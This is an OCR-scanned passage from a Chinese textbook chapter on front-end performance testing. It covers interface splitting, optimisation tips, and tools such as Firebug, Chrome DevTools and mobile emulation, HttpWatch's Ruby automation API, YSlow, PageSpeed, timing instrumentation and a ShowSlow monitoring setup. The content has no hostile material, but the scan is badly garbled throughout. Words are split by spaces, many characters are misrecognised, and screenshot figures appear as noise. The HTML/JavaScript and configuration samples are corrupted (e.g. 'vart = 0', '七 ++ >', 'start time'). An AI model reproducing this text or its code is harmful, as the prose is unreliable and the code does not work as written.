要 的 ,尤其 是 在 高 流量 的 访问 量 下 。 这 里 体现 了 一 个 重要 的 思想 : 接口 
拆 分 。 

以 某 网 站 的 查询 机 票 业务 为 例 , 一 般 我 们 看 到 的 页 面 如 图 8. 6 所 示 。 

在 抢 票 的 时 候 我 们 会 频繁 地 进行 航班 信息 查询 、 价 格 以 及 排序 等 操作 。 
以 其 中 的 低 价 计算 逻辑 为 例 ,如 果 低 价 计算 接口 是 在 前 端 完成 计算 并 展现 
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航班 信息 起 飞 时 间 T| 。 旅行 站 时 长 降 藻 时 间 准点 率 / 平 j3RE 时 磊 | 最 低 报价 

首 孝 入 空 06:45 5 时 409 名 12:25 A i 全 217 
多 ]D5119 空 客 320( 中 ) 20 分 名 ¥1257 i 

首都 机 场 T1 呼 和 潜 特 。 培训 全 机 场 T1 
Yu 07:30 4 时 109 钟 11:40 cf #1662 
g SC1293 波 音 737( 中 ) 共享 首都 机场 人 地 社保 机 场 T2 7 分 钊 


图 8.6 查询 机 票 业务 


给 用 户 的 ,那么 对 于 前 端的 性 能 就 会 有 较 大 的 影响 。 

通常 的 解决 方法 : 计算 的 逻辑 放 到 后 端 进行 ,前 端 只 负责 展现 ,同时 对 
后 端 提供 数据 的 接口 进行 拆 分 ,不 要 都 挤 到 一 个 接口 里 。 例 如 ,在 本 业务 中 
就 可 以 大 致 拆 分 为 提供 航班 概要 信息 的 接口 .最 低 价 的 接口 .航班 详细 信息 
的 接口 等 。 毕 况 前 端 需要 展示 的 东西 太 多 了 ,如 果 你 再 把 大 量 的 计算 都 交 
给 前 端 去 完成 , 表 定 会 对 前 端 性 能 产生 不 小 的 影响 ,计算 这 种 “又 重 又 累 ” 的 
活 就 应 该 由 后 端 完 成 。 


8.3.8 其 他 优化 方法 


正如 本 章 开 始 所 说 ,前 端 性 能 的 优化 方法 很 多 ,在 做 具体 优化 时 一 定 要 
和 前 端 开发 工程 师 多 沟通 ,多 学 习 。 最 后 我 把 剩余 的 一 些 优 化 方法 做 一 个 
简单 总 结 , 包 括 但 不 限于 如 下 这 些 方法 。 

(1) 避免 CSS@import。 它 可 能 会 带 来 一 些 影响 页 面 加 载 速度 的 问题 。 
可 以 到 http://www. feedthebot. com/tools/css-delivery/ 来 检测 当前 页 面 
是 否 有 CSS @import。 

(2) 优化 DNS 查找 。 例 如 ,设置 Apache 的 httpd. conf 配置 文件 中 的 
HostnameLookups 为 of ,从 而 减少 DNS 查询 次 数 。 

(3) 移 除 重复 脚本 。 

(4) 合理 使 用 ETag。 在 不 知道 它 是 否 能 给 你 带 来 正面 影响 的 时 候 , 建 
议 关闭 。 

(5) Favicon. ico 一 定 不 能 忘 。 它 是 每 个 网 站 的 必 备 ICON。 

(6) 避免 非 200 的 返回 。 例 如 ,404 这 样 的 返回 ,会 导致 一 次 无 意义 的 
请 求 ,并 耗费 了 网 络 资源 。 
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8.4 常用 前 端 性 能 测试 工具 


本 章 前 面 几 节 介绍 了 前 端 性 能 的 一 些 知识 ,也 知道 了 通过 哪些 方法 来 
提升 前 端 性 能 ,本 节 我 们 就 来 看 看 哪些 工具 可 以 帮助 我 们 来 测试 和 分 析 前 
端 性 能 。 

一 般 常用 的 工具 有 Firebug、Chrome 开发 者 工具 HttpWatch、Yslow、 
PageSpeed 等 。 另 外 , 随 着 前 端 性 能 的 发 展 ,也 涌现 出 了 很 多 可 以 在 线 进 行 
前 端 性 能 测试 的 服务 ,如 阿里 测 .Gtmetrix 等 。 下 面 我 们 就 对 这 些 工 具 做 详 
细 地 讲解 。 

扫 右 侧 二 维 码 可 以 观看 视频 ,学 习 前 端 性 能 测试 工具 。 


8.4.1 Firebug 


Firebug 是 火狐 浏览 器 下 的 一 个 扩展 插件 ,使 用 Firebug 的 前 提 是 必须 
安装 火狐 浏览 器 。Firebug 的 功能 十 分 强大 ,通过 控制 台面 板 可 以 方便 地 观 
察 错 误 .调试 信息 等 ; 通过 HTML 面板 可 以 看 到 页 面 的 HTML 信息 ,并 可 
以 实时 编辑 看 到 效果 ,也 是 前 端 调 试 的 利器 ; 通过 CSS 面板 可 查看 所 有 的 
CSS 定义 信息 ,同时 也 可 以 通过 双击 来 达到 修改 页 面 样式 的 效果 ; 通过 脚本 
面板 可 以 进行 单 步调 试 . 断 点 设置 .变量 查看 等 功能 ,同时 通过 右边 的 监控 
功能 来 实现 脚本 运行 时 间 的 查看 和 统计 ; 通过 DOM 面板 可 以 查看 页 面 
DOM 信息 ,并 可 双击 来 实现 DOM 节点 属性 或 值 的 修改 ; 通过 网 络 面板 可 
以 清楚 地 看 到 一 个 页 面 的 所 有 请 求 以 及 对 应 响应 的 详细 信息 。 此 处 我 们 以 
测试 工程 师 最 常用 的 网 络 面板 为 例 进 行 讲解 。 

Firebug 的 安装 过 程 不 再 详 述 ,安装 好 火狐 浏览 器 后 通过 插件 的 方式 安 
装 Firebug 即 可 (本 处 使 用 的 是 火狐 浏览 器 35 版 本 ) ,之 后 按键 盘 上 的 Fl12 
键 即 可 打开 Firebug ,如 图 8.7 所 示 。 


梳 甸 《 >》| 汪 | leg 后 HTML css 本 DoM | RM - | cookies vslow 
骨 | 清除 保 和 寺 || 全 部 | HTML CSS JavaScript XHR 图 片 ”插件 媒体 字体 


图 8.7 Firebug 网 络 面板 
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单 击 “ 网 络 ” 标 签 , 选 择 “ 启 用 ”网 络 面板 即 可 正常 使 用 。 之 后 在 浏览 器 
地 址 栏 中 输入 小 强 的 博客 地 址 http://xqtesting. blog. 51cto. com 并 访问 ， 
这 时 候 你 可 以 看 到 网 络 面板 上 显示 了 本 次 访问 的 所 有 请 求 , 如 图 8.8 所 示 。 


太守 《 》[ 河 | spa wm ess Wi oow Fla- coolies valow | PE 
由 | 清除 保 寺 || 全 部 | HTML CSS JaveScript XHR 图 片 插件 握 休 字体 


GET xqtesting blog Slcto.co Abarted xqtestng blog. Slcto.com 08 120.55.259.108:80 1soms 

GET xqtesting.blog.51cto.cot 200 OK qtestng bog .5lciocom 13.815 120.55.239.108:30 92 
® GET hmoifcc=oack=1&d= 200 OK hm.badu.com 436 202.108.23,152:80 Deoms 

@ GET allmobilize.minjs a yunshpel.com 339 阳 筷 159.16.14890 ems 

@ GET defjs xqtestng blog.5lctpcom 796B 120.55.239,108:80 
国 GET messagejs bg siciocom L618 120.55.239,108:80 i :> 
GB GET wser_commentds bog.5icmcom Zomm 120.55. 235,108.200 i + 
国 GET base2js blog.Sicto.com 9268 120.55.239.108:80 大 + 


图 8.8 访问 小 强 博 客 的 请 求 


通过 网 络 面 板 显 示 的 请 求 信息 我 们 可 以 清楚 地 观察 到 每 个 请 求 的 地 
址 、 响 应 状态 码 、 域 名 、 返 回 内 容 的 大 小 、 远 程 IP、 时 间 线 等 信息 。 如 果 想 查 
看 某 个 请 求 的 具体 信息 , 单 击 前 面 的 “十 ”号 即 可 展开 ,如 图 8.9 所 示 。 可 以 
看 到 详细 的 请 求 和 响应 信息 。 有 时 候 我 们 如 果 想 看 一 个 表单 在 提交 时 发 送 
了 哪些 参数 字段 ,也 可 以 使 用 此 方法 。 


日 GET xqtesting.blog-5lcto.col 200 OK xqtesting,| 
头 信息 ”响应 ”HTML 缓存 Cookies 
日 响应 头 信息 原始 头 信 息 


Cache-Control no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Connection keep-alive 
Content-Encoding szip 
Content-Type text/html 
Date Sat, 18 Jun 2016 09:14:46 GNT 
Thu, 19 Nov 1981 08:52:00 GMT 
-Modified-Since Sat, 11 Jun 2016 16:00:00 GMT 
Load-Balancing web06, web06 
Pranma no-cache 


图 8.9 请求 的 详细 信息 


在 网 络 面板 中 滑动 到 最 底部 可 以 看 到 总 共 的 请 求 数 .总 大 小 以 及 耗 时 
等 信息 ,方便 我 们 获得 当前 页 面 的 性 能 状况 ,如 图 8. 10 所 示 。 从 图 中 我 们 可 
以 看 出 来 一 共有 88 个 请 求 ,总 大 小 为 604. 7KB, 其 中 561. 6KB 来 自 缓存 , 耗 
时 4. 99s。 


困 GET hm.gif?cc= 200 OK hm.baidu.com 43B 202.108.23.152:80 | | Tem 

GET v.gif?pid=: 200 OK nsdidk.baidu.com 06 61.135.186.152:50 。 有 cn 

国 GET vipI=htt 200 OK api.share baidu. com 0B 61.135.162.115:80 有 on 
8 6047 KB KB 4 1 | 
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8.4.2 利用 Chrome 测试 移动 端 网 页 性 能 


随 着 移动 端 业务 的 增长 ,现在 对 于 移动 端 网 页 的 测试 需求 也 越 来 越 多 ， 
这 里 所 指 的 移动 端 网 页 主要 是 手机 浏览 器 以 及 M 站 。 本 节 将 介绍 如 何 利 用 
Chrome 来 完成 移动 端 网 页 的 测试 ,希望 能 给 大 家 提供 一 点 思路 。 

Chrome 是 一 个 由 Google( 谷 歌 ) 公 司 开发 的 网 页 浏览 器 ,不 易 骨 溃 、 速 
度 较 快 . 自 带 调试 工具 强大 。 启 动 Chrome 浏览 器 后 ,按键 盘 上 的 F12 键 即 
可 打开 开发 者 工具 , 单 击 Network 面板 ,在 浏览 器 地 址 栏 中 输入 小 强 的 博客 
地 址 http://xqtesting. blog. 5lcto. com 并 访问 ,得 到 的 结果 如 图 8. 11 


所 示 。 


| Hements Console Sources Network Timeline profiles » ©2| ; X 


需 晤 可 |View 汪 忆 | 国 Preservelog 图 Disable cache | No throttling 


[Fiter |Regex © Hide data URLs 
图 | xhRg Js css Img Media Font poc Ws Manifest Other 
200ms 400ms 600ms 800ms 1000ms 


Name Sta... | Typ.. | Initiator | Size | Time Timeline ~ Start Time 2000 
corephp?web,,. 200 scr. statphp.. (ro Oms| | | 
Dstathtm?id=42.. 200 (gif Other 248.. 148.| 和 
日 picgif 200 gif statphp.. (fro.. Oms| | 
了 ] slide apijs?v=.. 200 ser. sharejs.. (fro.. 4ms| | 

.。| 200 scr.. sharejs... (fro.. 5ms 1 
200 gif other 386. 21..| | 


slide_view 


collect?v=18_v. 


图 8.11 Chrome 的 Network 面板 


它 的 结构 基本 和 Firebug 的 网 络 面板 类 似 , 单 击 某 个 请 求 也 可 以 看 到 有 具 
体 的 信息 ,滚动 到 面板 底部 可 以 看 到 总 请 求 数 .页面 大 小 以 及 耗 时 等 信息 。 
使 用 方法 同 Firebug ,此 处 不 再 讲述 。 

新 版 的 Chrome 还 有 一 个 重要 的 功能 一 一 Chrome Mobile Emulation， 
如 图 8.12 所 示 。 

该 功能 可 以 在 PC 端 帮助 我 们 模拟 移动 浏览 器 从 而 轻松 地 完成 测试 和 
调试 ,其 中 提供 了 多 种 终端 设备 的 模拟 ,并 可 以 及 时 调整 分 状 率 、 像 素 比例 
等 ,还 可 以 通过 Emulation 标签 中 的 内 容 模拟 触摸 .定位 等 ,可 谓 足 够 强大 ， 
如 图 8. 13 所 示 。 
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D xqtesting.blog.51cto.com 


Responsvev 400 x 619 100%v DPR:20v Mobiev 


原创 Memcached 是 什么 ? 【小 强 性 能 培训 学 员 作 .… 


2016-06-12 阅读 10 回复 0 


转载 职场 潜 规 则 : 公司 出 现 这 三 种 信号 ， 你 必须 果 . 


2016-06-06 阅读 172 回复 0 


原创 小 强 IT 游记 之 新 疆 行 


2016-06-03 较 讯 17 回复 0 
原创 小 强 IT 游记 之 大 连 行 
2016-06-03 网 读 7 回复 0 


原创 小 强 IT 游记 之 厦门 行 
2016-06-03 阅读 11 回复 0 


加 16 BS wv(v) 


图 8.12 Chrome Mobile Emulation 


Settings Emulated Devices 


Preferences Add custom device... 


Workspace 
国 BlackBerry Z30 
Blackboxing 
国 Blackberry PlayBook 
Devices 
Throtting 目 Galay Note 3 
Shortcuts 国 Galaxy Note II 


国 Galaxy S 卫 

国 Kindle Fire HDX 

LG Optimus L70 

国 Laptop with HiDPI screen 
Laptop with MDPI screen 


图 8.13 Emulated Devices 


上 面 说 了 这 么 多 ,到 底 如 何 测试 移动 端的 网 页 呢 ?” 其 实 很 简单 ,主要 依 
赖 ChromeADB 以 及 Chrome 浏览 器 。 大 致 实现 步骤 如 下 。 

(1) 本 机 上 安装 Chrome 浏览 器 ,并 安装 ADB 插件 。 此 处 安装 可 能 需 
要 翻 墙 。 
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过 | 


(2) 手机 上 安装 移动 端 Chrome 浏览 器 ,并 访问 任意 页 面 ,如 我 的 博客 
地 址 。 

(3) 在 本 机 的 Chrome 浏览 器 中 打开 该 URL 页 面 chrome://inspect/ 井 
devices, 这 时 就 可 以 看 到 在 手机 上 的 Chrome 浏览 器 中 的 页 面 。 

(4) 单 击 inspect 按钮 可 以 打开 Chrome 开发 者 工具 ,使 用 方式 和 在 PC 
端 一 样 。 
(5) 配合 PageSpeed 使 用 ,可 以 轻松 分 析 移 动 端 页 面 的 性 能 。 

Chrome 还 有 很 多 强大 的 功能 , 感 兴趣 的 朋友 可 以 自行 研究 。 但 是 ,这 
里 需要 提醒 大 家 : 不 论 是 性 能 测试 还 是 自动 化 测试 ,更 关键 的 还 是 对 于 数据 
的 分 析 , 只 有 对 数据 进行 了 合理 的 分 析 才 能 得 到 有 价值 的 解决 方案 。 而 对 
于 数据 分 析 , 又 需要 我 们 有 比较 广 的 知识 体系 做 支撑 。 


8.4.3 HttpWatch 


HttpWatch 是 强大 的 网 页 数据 分 析 工 具 , 目 前 可 以 集成 到 IE 和 火狐 
中 , 它 现在 有 两 个 版 本 ,免费 版 本 和 商业 版 本 ,此 处 使 用 的 是 免费 版 本 也 就 
是 Basic 版 本 。 

它 的 操作 和 Firebug 类 似 , 安 装 成功 后 , 单 击 工具 菜单 下 的 HttpWatch 
即 可 启动 ,之 后 单 击 面板 中 的 小 红 点 就 可 以 开始 录制 请 求 了 。 如 图 8. 14 所 
示 ,录制 的 是 访问 小 强 博 客 地 址 http://xqtesting. blog. 51cto. com 的 请 求 
过 程 ,录制 完成 后 停止 即 可 。 


IP Tme Sent Recewved Metod Reakt Type URL 
! T1937 -1947 GET 200 图 http:jxqtestng blog.Sicto.com/ 

! 15 GET 200 htpyla yunchpel comyacecd4958d76dbes889ala0f28e176fjal 
1 4 GET 200 htwp:/fratestng blog51cto.com/ps/def 

! ET 200 Yhtp: Ws/message.js 

! er 200 9 user_comment js 

! GET 200 % 

! 3255 GET 200 Yhtp: Vs/dalog urfa 

! 5505 GET 200 全 hip 5ictn.comcssjaan/47.cms 

! 326 。 1188 1375 GT 2 .https//olog.Sicto.comjcas/header_master_top.cas 


图 8.14 HttpWatch 录制 访问 请 求 


因为 具体 的 使 用 方法 同 Firebug, 所 以 此 处 不 再 讲述 , 感 兴趣 的 朋友 也 
可 以 看 官网 的 教程 ,地 址 是 http://help. httpwatch. com/ # introduction. 
html。 

HttpWatch 还 有 一 个 非常 强大 的 扩展 功能 ,就 是 可 以 利用 它 提供 的 
Automation API 来 自 定 义 你 要 监控 和 分 析 的 页 面 , 并 生成 报告 。 目 前 ， 
HttpWatch 支持 VB、Ruby、C++ 的 语言 。 官 方 提供 的 HttpWatch Automation 
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Architecture 如 图 8. 15 所 示 。 具 体 的 API 用 法 可 以 到 官网 查看 ,地 址 是 
http://apihelp. httpwatch. comy/ # Automation% 200verview. html。 


Fie Ed Ven Footes Too Hap 


@~- 日 国 四 纹 六 下 mn @ 会 - 忆 寺 


Controller 
IE.New() 
IE.Attach() 
Open Log() 


图 8.15 HttpWatch Automation Architecture 


我 们 这 里 用 Ruby 语言 介绍 如 何 通过 HttpWatch 的 API 完 成 某 个 页 面 
的 录制 并 保存 结果 。 具 体 的 解释 和 实现 见 如 下 代码 。 


并 关闭 过 滤器 
plugin. Log. EnableFilter(false) 
站 清空 HttpWatch Log 
plugin. Clear() 
并 开始 录制 
plugin. Record() 
井 定义 一 个 URL 
myUrl = 'http://xqtesting.blog.51cto. com' 
# 访 问 URL 
plugin. GotoUrl( myUrl ) 
并 等 待 页 面 全 部 加 载 完毕 后 返回 
control. Wait( plugin, -1 ) 
并 保存 为 hwl 文件 (HttpWatch 可 识别 的 Log) 
plugin. Log. Save( 'c:\\xiaoqiang\\mylogfile. hwl') 
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当然 ,上 面 的 代码 只 是 一 个 最 简单 的 应 用 ,如 果 你 想 封 装 成 为 一 个 杠 
架 , 还 需要 做 很 多 事情 ,如 选用 一 种 语言 来 封装 .封装 之 后 的 报告 生成 等 。 
图 8. 16 所 示 是 我 早期 使 用 Ruby 语言 封装 的 一 个 前 端 性 能 测试 框架 ,可 
以 遍历 所 有 指定 的 URL 并 记录 日 志和 产生 ER 
报告 。 外 国 lits 

由 - 国 Source Files 

因为 代码 有 点 岁月 的 痕迹 了 就 没有 展示 出 

来 ,但 设计 的 思想 是 不 变 的 。 基 本 思路 为 : 


。 eases 文件 里 存放 要 测试 的 用 例 ; es 

。 libs 文件 里 存放 一 些 公共 的 函数 文件 ; | ee 

。 source 文件 里 当然 是 放 源 码 了 ; “DD Rap 

。 reports 文件 里 存放 测试 报告 ; 图 8.16 PagePerf 


。 logs 文件 里 记录 测试 执行 时 的 日 志 ; 

。 test files 文件 里 是 后 续 和 YSlow、ShowSlow 的 集成 ,用 于 更 自动 化 
地 执行 以 及 友好 地 展示 测试 报告 。 

关于 YSlow 和 ShowSlow 的 内 容 将 在 后 续 章 节 中 进行 详细 介绍 。 


8.4.4 YSlow 


YSlow 是 基于 Firebug 的 一 个 分 析 插 件 , 可 以 帮助 我 们 分 析 页 面 的 性 能 
并 给 出 建议 ,是 进行 前 端 性 能 测试 中 常用 的 工具 之 一 。 这 里 需要 注意 的 是 
YSlow 插件 不 支持 太 高 版 本 的 火狐 ,这 里 使 用 的 火狐 版 本 为 35。 下 面 我 们 
以 小 强 的 博客 http://xqtesting. blog. 5lcto. com 为 例 来 看 看 怎么 使 用 
YSlow 分 析 页 面 。 

启动 Firefox, 打 开 Firebug ,切换 到 YSlow 面板 ,在 浏览 器 地 址 栏 输 入 
小 强 的 博客 地 址 并 进行 访问 ,之 后 单 击 YSlow 面板 中 的 Run Test 按钮 ,得 
到 的 结果 如 图 8. 17 所 示 。 

图 8. 17 中 的 分 析 建 议 报告 大 概 由 以 下 几 部 分 组 成 。 

(1) Grade 评级: 通过 YSlow 默认 的 23 项 性 能 测试 规则 (YSlow V2) 
对 网 页 测试 后 ,给 出 网 页 运行 等 级 评定 。 等 级 为 A-F, 其 中 A 等 级 最 高 。 此 
处 为 C, 总 体 评级 还 可 以 。 

(2) 具体 的 分 析 建 议 : 如 图 8. 18 所 示 , 它 从 各 个 考核 的 指标 中 给 出 每 
下 全 人 人 作 作 全 可 其 中 重要 的 考核 指标 解释 在 8. 3 节 中 已 经 讲解 

过 ,此 处 不 再 讲述 
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Home | Grade | Components | Statistics | Tools 


Grade Overall performance score 72 Ruleset applied: YSlow(V2) URL: http:/ /xqtesting.blog.51cto.com/ 


ALL(23) FILTERBY: CONTENT(6)| COOKIE (2)| Css(6)| IMAGES (2) | JAVASCRIPT (4) | SERVER (6) 


ways to reduce the number of components include: combine files, < 


Put C55 at top and use CSS Sprites and image maps. 


F MakefewerHTTIP requests 

F Use a Content Delivery Network (CDN) SF on Meho Fwer HEP roeeets 

A rod empty creorbref ee ese 
F Add Expires headers This page has 12 external background images. Try combining them 
D Compress components with gzip Decreasing the number of components on a page reduces the num 
B 

E 


Put JavaScript at bottom 


»Read More 


图 8.17 小 强 博客 页 面 分 析 


Make fewer HTTP requests 


Use a Content Delivery Network (CDN) 


Avoid empty src or href 


Compress components with gzip 


Put CSS at top 


F 
F 
A 
F Add Expires headers 
D 
B 
E 


Put JavaScript at bottom 


B AvoidCSS expressions 


n/a Make JavaScript and CSS external 


F Reduce DNS lookups 


B Minify JavaScript and CSS 


A AvoidURL redirects 


图 8.18 具体 的 分 析 建 议 


(3) Components 组 件 : 显示 了 图 片 、 脚 本 、CSS 等 组 件 的 相关 信息 , 双 
击 组 件 名 称 可 以 展开 ,查看 详细 信息 ,如 图 8. 19 所 示 。 


Components 。 mhe page hasa total of75 components and 2 total wesght of 626.3K bytes 


EXPIRES | RESPONSE 
ds [oa i 一 UMD | Ime ms) 
国 dsoct ax 
日 (25) 2787K 
$s 27sx | He » 2016/s/18| 349 
la, 968d76dbca8e3; 
天 23.3K | 347K 有 ob coe 2 no expires 121 


8.19 组 件 信息 
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(4) Statistics 统计 : 显示 了 在 无 缓存 和 有 缓存 的 两 种 情况 下 ,页面 打开 
的 信息 情况 ,如 图 8. 20 所 示 。 不 论 从 请 求 数 还 是 总 体 的 大 小 而 言 ,缓存 的 合 
理 使 用 可 以 大 大 提升 页 面 性 能 。 


WEIGHT GRAPHS 
本 HTTP Requests - 75 HTIP Requests - 39 
Total Weight - 626.3K Total Weight - 30.7K 
1 HTML/Text 14.4K mm 1 HTML/Text 34.4K 
看。 25 JavaScript File 99.2K 于 13 JavaScript File 14.8K 


2 JFrame 工 4K 
23 Image ouosx 


图 8. 20 ”Statistics 统计 


(5) Tools 工具 : 这 个 是 YSlow 提供 的 一 些 较为 实用 的 辅助 工具 ,主要 
是 对 JS、.CSS .图片 进行 优化 的 ,大 家 可 以 自行 尝试 

通过 上 面 的 分 析 我 们 基本 可 以 知道 该 页 面 的 前 端 性 能 如 何 了 。 此 处 的 
小 强 博 客 评级 为 C, 表 现 较 好 ,但 从 给 出 的 建议 来 看 , 仍 有 很 大 改进 空间 ,可 
以 尝试 从 减少 HTTP 请 求 数 、 使 用 CDN、 增 加 Expires Headers、 减 少 
DNSLookups 以 及 调整 JS 的 位 置 等 方面 来 进行 优化 。 


8.4.5 PageSpeed 


PageSpeed 是 Google 推出 的 一 款 页 面 分 析 工 具 , 现 在 已 经 被 独立 出 来 ， 
使 用 方法 以 及 功能 和 YSlow 类 似 。 我 们 仍然 以 小 强 的 博客 为 例 , 用 
PageSpeed 来 测试 一 下 ,大致 步骤 如 下 。 

(1) 浏览 器 访问 地 址 为 https://developers. google. com/ speed/ pagespeed/。 

(2) 在 访问 后 的 页 面 中 单 击 RUN INSIGHTS 按钮 ,进入 测试 页 面 后 输 
入 要 测试 的 网 址 为 http://xqtesting. blog. 51cto. com, 单 击 “ 分 析 ” 按 钮 后 稍 
等 片刻 就 可 以 看 到 测试 结果 了 ,如 图 8. 21 所 示 。 

从 图 8. 21 中 可 以 看 出 PageSpeed 对 测试 结果 提供 了 在 移动 设备 和 桌面 
设备 时 的 表现 ,必须 为 此 点 个 上 赞 了 ,而 且 它 显示 的 是 中 文 ,这 个 对 于 绝 大 多 
数 小 白 朋 友 来 说 绝对 是 一 件 兴奋 的 事情 ,同时 PageSpeed 还 有 一 个 YSlow 
没有 的 特点 , 那 就 是 它 能 够 告诉 你 一 张 图 片 优 化 前 和 优化 后 的 效果 对 比 ， 
如 图 8. 22 所 示 。 
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http://xqtesting blog 51cto com/ 
目 箭 动 设 各 桌面 设备 


[3 需 虽 网 页 加 速 


回 名 当 修复 : 


清除 首 屏 内 容 中 阻止 呈现 的 JavaScript 和 CSS 
+" 显示 解决 问题 的 方法 


加 考虑 修复 


使 用 浏览 器 缓存 
"显示 解决 问题 的 方法 


缩短 服务 器 响应 时 间 
"显示 解决 问题 的 方法 


图 8.21 PageSpeed 


优化 图 片 

适当 地 设置 图 片 的 格式 并 进行 压缩 配 准 节省 大 量 的 数据 字 节 空间 。 

优化 以 下 图 片 可 将 其 大 小 减少 2.6 KiB (27%)。 

无 损 压 缩 http:Wimg1.51cto.cor/images/main/logojpg 可 减少 907 B (12%)。 


无 损 压 缩 http://blog.51cto.com/images/main/navbg.jpg 可 减少 906 B (74%) 。 
无 损 压缩 http://a.yunshipei.com/..968d76dbea889a1a0f28e176f/menu-green.png 可 减少 850 B (84%)。 


图 8.22 图 片 优化 前 后 的 对 比 效果 


你 以 为 这 样 就 完了 吗 ? Google 的 强大 我 们 怎么 能 忽视 呢 ! PageSpeed 
还 能 集成 到 你 的 Apache 和 Nginx 中 ,并 自动 分 析 你 的 网 站 。 如 果 再 配合 
Google Analytics 就 能 够 得 到 更 为 强大 .完整 的 监控 和 报告 ,如 图 8. 23 
所 示 。 


8.4.6 埋 点 测试 


有 时 候 我 们 想 知道 页 面 中 某 个 函数 的 执行 时 间 ,或 者 想 知道 某 个 点 从 
页 面 开始 到 解析 完成 的 耗 时 都 可 以 通过 在 代码 中 埋 点 进行 测试 。 基 本 的 
思路 是 分 别 在 被 测 点 开始 之 前 和 执行 完成 之 后 计时 ,将 两 个 计时 相 减 
即 可 。 
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Site Speed Page Timings 
| Ddvanced segments | EmaillBEI Export- AddtoDashboard 
局 
aa Audience 
© % of pageviews : 100.00% 
Overview 
Explorer Performance Map Overlay 
* Demographics 
Site Usage Technical 
* Technology Avg. Page Load Time (sec) ~” VS Select a metric 
Te © Avg. Page Load Time (sec) 
» Custom 10.00 
Visitors Flow 
图 Adverising 
"Traffic Sources 


罚 Content | May 15 May 22 1 
图 8. 23 PageSpeed 集成 报告 


假设 我 们 现在 有 一 个 HTML 页 面 ,在 打开 该 页 面 的 时 候 就 调用 add 函 
数 来 完成 计算 。HTML 代码 如 下 。 


<html> 
<head><title> 小 强 我 爱 你 ,嘿嘿 </title></head> 
<! -- 演示 代码 -一 > 
< Script type = "text/javascript"> 
function add(count) 
{ 

vart = 0; 

for(var i = 0; i<count; i++) 

七 ++ > 

} 
</script > 
<! -- 页 面 一 打开 就 调用 add 函数 --> 
<body onload = "add(1000000)"> 
</body> 
</html > 


我 们 想 看 看 add 函数 调用 所 需要 的 耗 时 ,就 可 以 在 body 之 前 和 之 后 各 
埋 一 个 计时 点 ,然后 用 得 到 两 个 计时 点 的 时 间 相 减 就 是 耗 时 。 埋 点 之 后 的 
代码 如 下 (加 粗 部 分 就 是 埋 点 的 代码 ) 。 
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< html > 
<head><title> 小 强 我 爱 你 ,嘿嘿 </title></head> 
<! -- 演示 代码 -一 > 
< Script type = "text/javascript"> 
function add(count) 
{ 

vart = 0; 

for(var i = 0; i<count; i++) 

tt+; 

} 
</script > 
<! -- 埋 点 ,开始 计时 --> 
< script type = "text/javascript"> 
var start time = new Date().getTime(); 
</script > 
<! -- 页 面 一 打开 就 调用 add 函数 --> 
<body onload = "add(1000000)"> 
</body> 
<! -- 页 面 加 载 完毕 后 停止 计时 ,并 打印 出 来 耗 时 -- > 
< script type = "text/javascript"> 
var end time = new Date().getTime(); 
time = end time - start time; 
alert(" 耗 时 : " + time); 
</script > 
</html > 


运行 结果 如 图 8. 24 所 示 。 


图 8.24 埋 点 运行 结果 


当然 ,这 个 只 是 最 基本 的 用 法 ,你 也 可 以 配合 PhantomJS 来 使 用 。 如 果 
有 需要 可 以 把 计算 耗 时 封装 为 一 个 函数 ,提取 出 来 作为 一 个 单独 的 JS ,在 需 
要 的 时 候 引 入 即 可 ,还 可 以 把 需要 统计 的 信息 返回 给 服务 器 ,然后 服务 器 上 
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写 一 个 脚本 来 做 特殊 处 理 , 扩 展 方式 还 是 比较 灵活 的 。 希望 能 给 大 家 提供 
一 些 思路 。 


8.4.7 基于 ShowSlow 的 前 端 性 能 测试 监控 体系 


ShowSlovw 是 开源 的 前 端 性 能 监控 系统 , 它 可 以 和 YSlow、PageSpeed 
API、WebPageTest、NetExport 等 工具 进行 集成 ,搜集 前 端 数 据 并 产生 报 

。 因 为 之 前 已 经 讲解 过 YSlow 的 使 用 了 ,相对 来 说 比较 熟悉 ,所 以 这 里 我 
们 利用 YSlow 来 测试 页 面 ,然后 把 测试 数据 上 报 给 ShowSlow 进行 汇总 展 
示 , 大 致 步骤 如 下 。 

(1) 保证 火狐 中 的 YSlow 可 以 正常 使 用 ,参考 8. 4.4 节 中 的 内 容 。 

(2) 在 火狐 浏览 器 地 址 栏 中 输入 about:config, 进 入 配置 页 面 修 改 如 下 
三 项 的 值 为 (修改 完成 后 要 重启 浏览 器 才 可 生效 ) , 


。 extensions. yslow. beaconUrl= http://localhost/showslow/beacon/ 


yslow/ 
。 extensions. yslow. beaconInfo = grade 
。 extensions. yslow. optinBeacon = true 


(3) 本 地 安装 一 个 WAMP 集成 环境 ,我 这 里 使 用 的 是 VertrigoServer。 
(4) 在 MySQL 中 创建 一 个 数据 库 用 来 存放 ShowSlow 的 相关 数据 , 创 
建 数据 库 的 SQL 语句 为 


create database showslow; 


(5) 下 载 ShowSlow 最 新 版 ,地 址 为 https://github. com/ sergeychernyshev/ 
Showslowy/releases。 
(6) 解压 ShowSlow 到 WAMP 集成 环境 中 的 www 目录 下 。 
(7) 进入 ShowSlow 中 ,修改 config. sample. php 为 config. php ,并 修改 
文件 中 的 内 容 , 如 图 8. 25 所 示 。 
# Database connection information 


$db = ‘showslow; 
$user = ‘root'; 


$pass = ‘vertrigo’; 
$host = ‘localhost’; 
$port = 3306; 


图 8.25 ShowSlow 配置 文件 


(8) 在 浏览 器 中 运行 http://localhost/showslow/dbupgrade. php ,完成 
数据 库 中 对 应 表 的 初始 化 信息 后 才 可 以 收集 数据 并 展示 。 

(9) 打开 YSlow 并 访问 小 强 的 博客 地 址 为 http://xqtesting. blog. 
51cto. com, 然 后 切换 到 ShowSlow 地 址 为 http://localhost/showslow, 查 看 
数据 ,结果 如 图 8. 26 所 示 。 单 击 对 应 的 URL 可 以 看 到 更 详细 的 信息 ,如 
图 8. 27 所 示 。 


他 @ httpi//localhost/showslow/ 


ls your website 


Last measurements URLs measured Comparerankings Configuring tools 


Timestamp YSlow grade URL 
2016-06-19 10:15:21 C (71) [| MtpJixatesting blog 51cto comy 


图 8.26 ShowSlow 概要 结果 


Details for http://xqtesting.blog.51cto.com/ 


Gm) 


《大 


Cument YSlow grade: C (77) 


Run a test using REDbot 
@ Check al components | stanttest — 


Run Google Page Speed Insights 
Start Google PageSpeed Insights test stafttest— 


YSlow metrics 

Basic measurements 
国 Overall rank C(71%) [+ 国 Page Size 613KB 
国 Amount of requests with empty cache 71 回 Page Load time Oms 

Best practices 
Make fewer HTTP requests F (0%) I 加 Use a Content Delivery Network (CDN) F (0%) | 
